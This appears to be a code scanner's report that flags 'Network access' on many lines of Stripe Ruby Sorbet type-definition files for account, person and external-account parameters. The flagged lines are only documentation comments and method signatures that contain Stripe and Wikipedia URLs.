# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF - Network accessline 1610
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_ve - Network accessline 1611
def back=(_back); end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px - Network accessline 1612
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD - Network accessline 1705
} def ownership_declaration=(_ownership_declaration); end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemp - Network accessline 1706
def ownership_declaration=(_ownership_declaration); end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-fro - Network accessline 1707
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 1796
class Controller < ::Stripe::RequestParams class Fees < ::Stripe::RequestParams # A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected acco - Network accessline 1797
class Fees < ::Stripe::RequestParams # A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-char - Network accessline 1798
# A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-behavior). - Network accessline 1860
class Documents < ::Stripe::RequestParams class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `a - Network accessline 1861
class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nil - Network accessline 1862
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1869
end class CompanyLicense < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1870
class CompanyLicense < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[Stri - Network accessline 1871
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1878
end class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1879
class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilab - Network accessline 1880
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1887
end class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1888
class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T:: - Network accessline 1889
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1896
end class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1897
class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nila - Network accessline 1898
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1905
end class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1906
class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T:: - Network accessline 1907
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1914
end class ProofOfAddress < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1915
class ProofOfAddress < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[Stri - Network accessline 1916
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1932
def initialize(person: nil); end end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1933
end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) } - Network accessline 1934
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1959
def initialize(person: nil); end end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1960
end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) } - Network accessline 1961
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1978
def initialize(files: nil, signer: nil); end end # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a doc - Network accessline 1979
end # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active - Network accessline 1980
# One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou - Network accessline 2057
end class Groups < ::Stripe::RequestParams # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/ - Network accessline 2058
class Groups < ::Stripe::RequestParams # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/ - Network accessline 2059
# The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details. - Network accessline 2072
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2073
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2074
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2092
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2093
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2094
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2115
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2116
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2117
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2164
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2165
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2166
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2232
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2233
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2234
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2252
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2253
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2254
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2310
class Verification < ::Stripe::RequestParams class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docume - Network accessline 2311
class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (sma - Network accessline 2312
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 2315
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 2316
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px - Network accessline 2317
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 2324
end class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s - Network accessline 2325
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than - Network accessline 2326
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 2329
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 2330
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px - Network accessline 2331
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 2448
sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) } def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 2449
def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 2450
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2531
end class Branding < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 2532
class Branding < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. sig { returns(T.nilable(String)) } - Network accessline 2533
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 2536
sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) } def icon=(_icon); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of - Network accessline 2537
def icon=(_icon); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at l - Network accessline 2538
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px. - Network accessline 2653
end class Payments < ::Stripe::RequestParams # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as th - Network accessline 2654
class Payments < ::Stripe::RequestParams # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statemen - Network accessline 2655
# The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati - Network accessline 2658
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese sta - Network accessline 2659
def statement_descriptor=(_statement_descriptor); end # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/s - Network accessline 2660
# The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 2663
sig { params(_statement_descriptor_kana: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_kana=(_statement_descriptor_kana); end # The Kanji variation of `statement_descriptor` used for charges in Jap - Network accessline 2664
def statement_descriptor_kana=(_statement_descriptor_kana); end # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-starte - Network accessline 2665
# The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 2881
def initialize(date: nil, ip: nil, service_agreement: nil, user_agent: nil); end end # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. - Network accessline 2882
end # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. sig { returns(T.nilable(String)) } - Network accessline 2883
# An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. - Network accessline 2926
} def controller=(_controller); end # The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States - Network accessline 2927
def controller=(_controller); end # The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States and th - Network accessline 2928
# The country in which the account holder resides, or in which the business is legally established. This should be an ISO 3166-1 alpha-2 country code. For example, if you are in the United States and the business for which you're creating a - Network accessline 2931
sig { params(_country: T.nilable(String)).returns(T.nilable(String)) } def country=(_country); end # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in - Network accessline 2932
def country=(_country); end # Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). sig { returns( - Network accessline 2933
# Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://docs.stripe.com/payouts). - Network accessline 2976
} def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 2977
def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 2978
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_external_account_create_params.rbi
- Network accessline 120
sig { params(_number: String).returns(String) } def number=(_number); end # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information a - Network accessline 121
def number=(_number); end # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { re - Network accessline 122
# Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 176
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's ext - Network accessline 177
def expand=(_expand); end # A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's external account details (with the options shown below). Please refer to full [documentation](htt - Network accessline 178
# A token, like the ones returned by [Stripe.js](https://docs.stripe.com/js) or a dictionary containing a user's external account details (with the options shown below). Please refer to full [documentation](https://stripe.com/docs/api/exter - Network accessline 185
} def external_account=(_external_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 186
def external_account=(_external_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form - Network accessline 187
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_external_account_update_params.rbi
- Network accessline 7
class Documents < ::Stripe::RequestParams class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `a - Network accessline 8
class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nil - Network accessline 9
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 15
def initialize(files: nil); end end # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associa - Network accessline 16
end # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the bank account that display - Network accessline 17
# One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the bank account that displays the last - Network accessline 103
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 104
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 105
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_person_create_params.rbi
- Network accessline 45
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 46
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 47
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 65
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 66
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 89
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 90
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 137
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 138
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 139
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 201
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requi - Network accessline 202
class CompanyAuthorization < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Arra - Network accessline 203
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 210
end class Passport < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 211
class Passport < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) - Network accessline 212
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 219
end class Visa < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 220
class Visa < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) } - Network accessline 221
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 259
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 260
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 261
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 279
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 280
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 281
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 410
class Verification < ::Stripe::RequestParams class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 411
class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small - Network accessline 412
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 415
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th - Network accessline 416
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), - Network accessline 417
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 424
end class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small - Network accessline 425
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8, - Network accessline 426
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 429
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th - Network accessline 430
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), - Network accessline 431
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 535
sig { params(_gender: T.nilable(String)).returns(T.nilable(String)) } def gender=(_gender); end # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number i - Network accessline 536
def gender=(_gender); end # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII t - Network accessline 537
# The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht - Network accessline 540
sig { params(_id_number: T.nilable(String)).returns(T.nilable(String)) } def id_number=(_id_number); end # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailan - Network accessline 541
def id_number=(_id_number); end # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of t - Network accessline 542
# The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi - Network accessline 565
sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) } def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for - Network accessline 566
def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 567
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 572
} def metadata=(_metadata); end # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 573
def metadata=(_metadata); end # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. sig { returns(T.nilable(String)) } - Network accessline 574
# The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 577
sig { params(_nationality: T.nilable(String)).returns(T.nilable(String)) } def nationality=(_nationality); end # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person. - Network accessline 578
def nationality=(_nationality); end # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person. sig { returns(T.nilable(String)) } - Network accessline 579
# A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.
